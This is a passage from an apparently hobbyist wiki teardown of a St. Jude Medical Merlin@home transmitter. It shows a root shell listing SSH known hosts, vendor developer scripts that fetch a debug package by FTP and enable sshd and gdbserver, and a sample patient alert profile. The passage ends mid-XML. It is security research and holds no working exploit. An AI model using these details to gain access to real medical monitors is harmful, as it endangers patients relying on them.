SCSI disk for 0:0:0:0 is /dev/sda&lt;br /&gt;
Checking /mnt/sjmpendrives/1&lt;br /&gt;
Mountpoint /mnt/sjmpendrives/1 is free&lt;br /&gt;
Checking signature ... &lt;br /&gt;
node1 = /dev/sda1&lt;br /&gt;
Valid pendrive&lt;br /&gt;
Valid pendrive&lt;br /&gt;
Mounting /dev/sda1 on /mnt/sjmpendrives/1&lt;br /&gt;
/dev/sda1 is now mounted on /mnt/sjmpendrives/1&lt;br /&gt;
Launch application specific script&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Party Mode Demo ==&lt;br /&gt;
{{#ev:youtube|cNcGebu8NRs}}&lt;br /&gt;
&lt;br /&gt;
== Other Stuff to Look Into ==&lt;br /&gt;
&lt;br /&gt;
I doubt this device has been updated to the latest firmware as I aquired it still wrapped in its packaging. As of January 2017 St. Jude Medical claims that a security patch has been applied to the newer firmware releases.&lt;br /&gt;
&lt;br /&gt;
Below are some interesting things that were found.&lt;br /&gt;
&lt;br /&gt;
DSA keys and known hosts.&lt;br /&gt;
&amp;lt;pre&amp;gt;root@(none):~# cd /root/.ssh&lt;br /&gt;
root@(none):~/.ssh# ls -lah&lt;br /&gt;
drwx------    2 root     root           0 Jan 10  2013 .&lt;br /&gt;
drwxrwxr-x    3 root     root           0 May 15 00:10 ..&lt;br /&gt;
-rw-------    1 root     root         668 Nov 28  2012 id_dsa&lt;br /&gt;
-rw-r--r--    1 root     root         601 Nov 28  2012 id_dsa.pub&lt;br /&gt;
-rw-r--r--    1 root     root         719 Nov 28  2012 known_hosts&lt;br /&gt;
root@(none):~/.ssh# cat known_hosts &lt;br /&gt;
REDACTED.merlin.net,150.202.X.X ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAtfdoYdn5D/vsC4Pm25jBUXDzfXrj6O50O32UONPOnvKcb08acULYcx1bDyeRGcMBqKwEJdPUKdwAT2evf4jYVSa4JvDAHQWJo15s2igWO04veEYitV5i0NEqVs+vRTJAqM70iCIKkhtoGkjBBnJcntw6u/8vgKXkvqBx85WBULc=&lt;br /&gt;
REDACTED.merlin.net,150.202.X.X ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA29HEmKtQ5RABmAWmZ3MdyO+wiQ1GGzuNneGnPPL8KF+SYLjHXaQViB32cibA9dSauMpb8zcwj7YSxtKfu4K1gcH5vUOsqW9BgDsZYv7zWk2OHb8vLs+NT083+YbzjZvr7oGz+1/TAzfXORsN9Gf+BQMsHyjiHOjVJ/vEIy2fp0E=&lt;br /&gt;
REDACTED.merlin.net,150.202.X.X ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAyDjGfUubwy0y0KJw459g2L17DK4K4QAIZSvcW8hupVNK/3IrP9HSXetS69czyLISFfewq6a4ippvsbh5i+fb2C2vhHmW4N1U3zKa6vcKzUEd6j6NwUefunbSP8XBXaMoqSuN2l3nbfEeUIaVDuSk9m6uP/rVcGVQHZokPVDdpP8=&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dev scripts in /root/&lt;br /&gt;
&amp;lt;pre&amp;gt;root@(none):~# ls -lah /root&lt;br /&gt;
drwxrwxr-x    3 root     root           0 May 15 00:10 .&lt;br /&gt;
drwxr-xr-x   20 root     root           0 Jan  1  1970 ..&lt;br /&gt;
-rw-r--r--    1 root     root         446 Jan  1  1970 .bash_history&lt;br /&gt;
-rw-r--r--    1 root     root          52 Apr 24  2008 .bash_profile&lt;br /&gt;
drwx------    2 root     root           0 Jan 10  2013 .ssh&lt;br /&gt;
-r-xr-xr-x    1 root     root        3.0k Nov 28  2012 devel_install.sh&lt;br /&gt;
-r-xr-xr-x    1 root     root         483 Nov 28  2012 setdev.sh&lt;br /&gt;
-r-xr-xr-x    1 root     root         267 Nov 28  2012 setlog.sh&lt;br /&gt;
&lt;br /&gt;
root@(none):~# cat setdev.sh &lt;br /&gt;
#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
if [ $# -ne 1 ]; then&lt;br /&gt;
        echo &amp;quot;usage: ./setdev.sh [1|0]&amp;quot;&lt;br /&gt;
        exit&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
if [ $1 -eq 1 ]; then&lt;br /&gt;
        sed &#039;1,$s/DEVELOPMENT \(.*= .*\)0/DEVELOPMENT \11/g&#039; /data/config/TantoParms.conf &amp;gt; /tmp/TantoParms.conf&lt;br /&gt;
        cp -f /tmp/TantoParms.conf /data/config/TantoParms.conf&lt;br /&gt;
elif [ $1 -eq 0 ]; then&lt;br /&gt;
        sed &#039;1,$s/DEVELOPMENT \(.*= .*\)1/DEVELOPMENT \10/g&#039; /data/config/TantoParms.conf &amp;gt; /tmp/TantoParms.conf&lt;br /&gt;
        cp -f /tmp/TantoParms.conf /data/config/TantoParms.conf&lt;br /&gt;
else&lt;br /&gt;
        echo &amp;quot;Invalid argument&amp;quot;&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
root@(none):~# cat setlog.sh &lt;br /&gt;
#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
if [ $# -ne 1 ]; then&lt;br /&gt;
        echo &amp;quot;usage: ./setlog.sh [1|0]&amp;quot;&lt;br /&gt;
        exit&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
if [ $1 -eq 1 ]; then&lt;br /&gt;
        touch /data/config/.tantolog&lt;br /&gt;
        touch /data/config/.dcllog&lt;br /&gt;
elif [ $1 -eq 0 ]; then&lt;br /&gt;
        rm /data/config/.tantolog&lt;br /&gt;
        rm /data/config/.dcllog&lt;br /&gt;
else&lt;br /&gt;
        echo &amp;quot;Invalid argument&amp;quot;&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
root@(none):~# cat devel_install.sh&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
#&lt;br /&gt;
# Script to download the devel package via scp from ftp.pacesetter.com&lt;br /&gt;
# Username: REDACTED_USER. The script will prompt for a password which the &lt;br /&gt;
# user has to enter. &lt;br /&gt;
# &lt;br /&gt;
# Version 0.1 - Ashok Iyer (aiyer at sjm dot com)&lt;br /&gt;
&lt;br /&gt;
# Setup the PATH. Don&#039;t assume we get a sane one&lt;br /&gt;
export PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin&lt;br /&gt;
&lt;br /&gt;
# IP address of the server from which we download the devel package using scp.&lt;br /&gt;
SERVER=&amp;quot;10.16.155.27&amp;quot;&lt;br /&gt;
&lt;br /&gt;
function download_package()&lt;br /&gt;
{&lt;br /&gt;
	# Download the devel package and the md5sum.txt file&lt;br /&gt;
	echo -e &amp;quot;\n==&amp;gt; Downloading $1 package using wget.\n&amp;quot;&lt;br /&gt;
&lt;br /&gt;
	wget ftp://REDACTED_USER:REDACTED_PASSWORD@10.16.155.27/$2/$1&lt;br /&gt;
&lt;br /&gt;
	if [ &amp;quot;$?&amp;quot; != 0 ]; then&lt;br /&gt;
		echo &amp;quot;scp failed...&amp;quot;&lt;br /&gt;
		exit 1&lt;br /&gt;
	fi&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/root/setdev.sh 1&lt;br /&gt;
/etc/init.d/tantoapp stop&lt;br /&gt;
&lt;br /&gt;
if [ ! -f /etc/password_key ]; then&lt;br /&gt;
    touch /etc/password_key&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
echo &amp;quot;-----------------------------------------------------&amp;quot;&lt;br /&gt;
echo &amp;quot;This script will install the development package&amp;quot; &lt;br /&gt;
echo &amp;quot;This contains the following:&amp;quot;&lt;br /&gt;
&lt;br /&gt;
echo &amp;quot;   1. gdbserver&amp;quot;&lt;br /&gt;
echo &amp;quot;   2. ssh server&amp;quot;&lt;br /&gt;
echo &amp;quot;   3. procps (contains vmstat and top)&amp;quot;&lt;br /&gt;
echo &amp;quot;   4. dos2unix and unix2dos&amp;quot;&lt;br /&gt;
echo &amp;quot;   5. ftp client&amp;quot;&lt;br /&gt;
echo &amp;quot;   6. mtd utilities (for diagnostics)&amp;quot;&lt;br /&gt;
echo &amp;quot;   7. less utility&amp;quot;&lt;br /&gt;
echo &amp;quot;   8. traceroute&amp;quot;&lt;br /&gt;
echo &amp;quot;   9. agentd&amp;quot;&lt;br /&gt;
echo &amp;quot;  10. monitord&amp;quot;&lt;br /&gt;
echo &amp;quot;-----------------------------------------------------&amp;quot;&lt;br /&gt;
&lt;br /&gt;
sleep 2&lt;br /&gt;
&lt;br /&gt;
# Test if the server is reachable&lt;br /&gt;
echo &lt;br /&gt;
echo &amp;quot;----  Testing server connectivity  ----&amp;quot;&lt;br /&gt;
sleep 2&lt;br /&gt;
ping -c 3 -w 10 $SERVER&lt;br /&gt;
&lt;br /&gt;
if [ &amp;quot;$?&amp;quot; != 0 ]; then&lt;br /&gt;
    echo &lt;br /&gt;
    echo &amp;quot;--- $SERVER not reachable. ---&amp;quot;&lt;br /&gt;
    echo &amp;quot; Will try connecting anyway (some firewalls block ping requests)&amp;quot;.&lt;br /&gt;
    echo &amp;quot; Contact your network administrator if the connection fails&amp;quot;&lt;br /&gt;
    sleep 2&lt;br /&gt;
else&lt;br /&gt;
    echo &lt;br /&gt;
    echo &amp;quot;---   Server reachable. Good!  ---&amp;quot;&lt;br /&gt;
    echo&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
TMPDIR=&amp;quot;$HOME/devel$$&amp;quot;&lt;br /&gt;
mkdir $TMPDIR&lt;br /&gt;
&lt;br /&gt;
if [ &amp;quot;$?&amp;quot; != 0 ]; then&lt;br /&gt;
    echo &amp;quot;unable to create temporary directory. Check if you have write&amp;quot;&lt;br /&gt;
    echo &amp;quot;permissions in $HOME&amp;quot;&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
cd $TMPDIR&lt;br /&gt;
# Download the development packages&lt;br /&gt;
echo&lt;br /&gt;
echo &amp;quot;+----------------------------------------------+&amp;quot;&lt;br /&gt;
echo &amp;quot;| Downloading development packages using wget. |&amp;quot;&lt;br /&gt;
echo &amp;quot;+----------------------------------------------+&amp;quot;&lt;br /&gt;
echo&lt;br /&gt;
&lt;br /&gt;
download_package &amp;quot;devel-util_1.4_all.ipk&amp;quot; &amp;quot;not-so-advanced/utils/devel_packages/&amp;quot;&lt;br /&gt;
&lt;br /&gt;
echo&lt;br /&gt;
echo &amp;quot;+---------------------------------------+&amp;quot;&lt;br /&gt;
echo &amp;quot;| Installing the development utilities. |&amp;quot;&lt;br /&gt;
echo &amp;quot;+---------------------------------------+&amp;quot;&lt;br /&gt;
echo&lt;br /&gt;
# The package is sane. Install it&lt;br /&gt;
ipkg-cl -d root install *.ipk&lt;br /&gt;
&lt;br /&gt;
if [ &amp;quot;$?&amp;quot; != 0 ]; then&lt;br /&gt;
    echo &amp;quot;Package installation failed&amp;quot;&lt;br /&gt;
    exit 1&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
echo&lt;br /&gt;
echo &amp;quot;+-------------------------------------------+&amp;quot;&lt;br /&gt;
echo &amp;quot;| Performing required config modifications. |&amp;quot;&lt;br /&gt;
echo &amp;quot;+-------------------------------------------+&amp;quot;&lt;br /&gt;
echo&lt;br /&gt;
&lt;br /&gt;
sed &#039;1,$s/AUTOKEYGEN=no/AUTOKEYGEN=yes/g&#039; /etc/default/ssh &amp;gt; /tmp/ssh&lt;br /&gt;
cp -a /tmp/ssh /etc/default/ssh&lt;br /&gt;
&lt;br /&gt;
echo&lt;br /&gt;
echo &amp;quot;+-------------------------------------------+&amp;quot;&lt;br /&gt;
echo &amp;quot;| Starting SSH Daemon                     . |&amp;quot;&lt;br /&gt;
echo &amp;quot;+-------------------------------------------+&amp;quot;&lt;br /&gt;
echo&lt;br /&gt;
&lt;br /&gt;
/etc/init.d/ssh start&lt;br /&gt;
&lt;br /&gt;
echo&lt;br /&gt;
echo &amp;quot;Devel package successfully installed&amp;quot;&lt;br /&gt;
&lt;br /&gt;
cd $HOME&lt;br /&gt;
&lt;br /&gt;
# delete TMPDIR&lt;br /&gt;
rm -rf $TMPDIR&lt;br /&gt;
&lt;br /&gt;
exit 0&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Sample patient profile&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;profile:ProfileList xmlns:profile=&amp;quot;http://www.merlin.net/PayloadProfile.xsd&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;SystemData&amp;gt;&lt;br /&gt;
  &amp;lt;SystemInformation DeviceModel=&amp;quot;XXXX-XX&amp;quot; DeviceSerialNumber=&amp;quot;XXXXXX&amp;quot; NumberOfProfiles=&amp;quot;7&amp;quot; PatientNotifyWindowEnd=&amp;quot;23:00:00&amp;quot; PatientNotifyWindowStart=&amp;quot;16:00:00&amp;quot; ProfileDate=&amp;quot;2011-09-07&amp;quot; ProfileVersion=&amp;quot;7&amp;quot; SchemaVersion=&amp;quot;A&amp;quot; TransmitterModelNumber=&amp;quot;EX1150&amp;quot; TransmitterProfileID=&amp;quot;100899&amp;quot; TransmitterRequestType=&amp;quot;PProfile&amp;quot; TransmitterSerialNumber=&amp;quot;00000000&amp;quot; UTCServerTime=&amp;quot;22:57:29&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;Controls&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ADETECT_DIALUP_NUM&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;UNPAIRED_MODE&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ENROLLMENT_CHANGE&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;PROFILE_SYNC_PREF&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;ALLWD_UNSCHED_EVENTS&amp;quot; value=&amp;quot;100&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;NOTIFY_DELAY_ALERT&amp;quot; value=&amp;quot;24&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;NOTIFY_DELAY_FLP&amp;quot; value=&amp;quot;96&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;NOTIFY_DELAY_MED&amp;quot; value=&amp;quot;0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;NOTIFY_DELAY_SERVER&amp;quot; value=&amp;quot;0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;CLINIC_TYPE&amp;quot; value=&amp;quot;UNKNOWN&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;SHORT_BTN_ACTION&amp;quot; value=&amp;quot;FLP&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;LONG_BTN_ACTION&amp;quot; value=&amp;quot;DCHK&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;MERLIN_ID&amp;quot; value=&amp;quot;512556937&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;UPDATED_DEVICE_MODEL&amp;quot; value=&amp;quot;1111-11&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;UPDATED_DEVICE_SERIAL&amp;quot; value=&amp;quot;999999&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;SCHED_REF_TIME&amp;quot; value=&amp;quot;2001-01-01_00-00-00&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;VOL_CTRL_PREF&amp;quot; value=&amp;quot;OFF&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;/Controls&amp;gt;&lt;br /&gt;
 &amp;lt;/SystemData&amp;gt;&lt;br /&gt;
 &amp;lt;PayloadProfile Type=&amp;quot;Follow-up&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;GenerateSchedule GS_DateOfEvent=&amp;quot;2011-09-08&amp;quot; GS_TimeOfEvent=&amp;quot;09:00:00&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;Controls&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;GDC2_SCHED_FLP_PREF&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;UNSCHED_FLP_PREF&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SCHED_FLP_PREF&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;CLEAR_EPIS_FLAG&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;CLEAR_ST_FLAG&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;CLEAR_DIAG_FLAG&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;CLEAR_SEGM_FLAG&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;/Controls&amp;gt;&lt;br /&gt;
 &amp;lt;/PayloadProfile&amp;gt;&lt;br /&gt;
 &amp;lt;PayloadProfile Type=&amp;quot;Device_Check&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;GenerateSchedule GS_Interval=&amp;quot;24&amp;quot; GS_TimeOfEvent=&amp;quot;09:00:00&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;Controls&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;UNSCH_DCHK_PREF&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SCHED_DCHK_PREF&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;/Controls&amp;gt;&lt;br /&gt;
 &amp;lt;/PayloadProfile&amp;gt;&lt;br /&gt;
 &amp;lt;PayloadProfile Type=&amp;quot;Alert_Controls&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;Controls&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;HIGH_VRATE_EPISODE_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;V_AUTOCAP_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ACAP_CONFIRM_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;RVCAP_CONFIRM_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;LVCAP_CONFIRM_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;HIGH_VRATE_EPISODE_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;V_AUTOCAP_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ACAP_CONFIRM_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;RVCAP_CONFIRM_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;LVCAP_CONFIRM_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;CONG_MON_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;DEV_IN_MRI_MODE_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;DEV_RST_MRI_MODE_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;EARLY_DEPLETION_DETECTED_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;PER_BIV_PACING_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;PER_RV_PACING_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;CONG_MON_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;DEV_IN_MRI_MODE_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;DEV_RST_MRI_MODE_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;EARLY_DEPLETION_DETECTED_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;PER_BIV_PACING_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;PER_RV_PACING_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;LFDA_TIMEOUT_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ST_TYPE_2_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;VT_VF_3_PER_DAY_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;THERAPY_EXHAUSTED_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;HV_THERAPY_UNSUC_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;VT_VF_OCCURED_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;LFDA_TIMEOUT_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ST_TYPE_2_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;VT_VF_3_PER_DAY_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;THERAPY_EXHAUSTED_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;HV_THERAPY_UNSUC_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;VT_VF_OCCURED_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;LFDA_NSLN_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;LFDA_RV_NOISE_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ST_TYPE_1_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;LFDA_NSLN_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;LFDA_RV_NOISE_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ST_TYPE_1_NOT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;AIMP_OOR_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;CCRG_LMT_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;DEV_EOS_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;DEV_ERI_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;DEV_EVVI_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;DEV_RST_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;HVIMP_OOR_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;HW_BVVI_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;LVIMP_OOR_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;OCD_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SOSD_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;RVIMP_OOR_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;TTRPY_DIS_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ATAF_DUR_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ATAF_WK_DUR_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ATAF_VRATE_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ATP_RX_SUCCESS_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;HV_TRPY_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;PERCENT_BIV_THRESHOLD_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;PERCENT_RV_THRESHOLD_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ST_MAJOR_EPISODE_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;TRPY_ACCEL_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;NOISE_REV_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;NSVT_EPIS_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;NSVF_EPIS_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_1_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_2_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_3_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
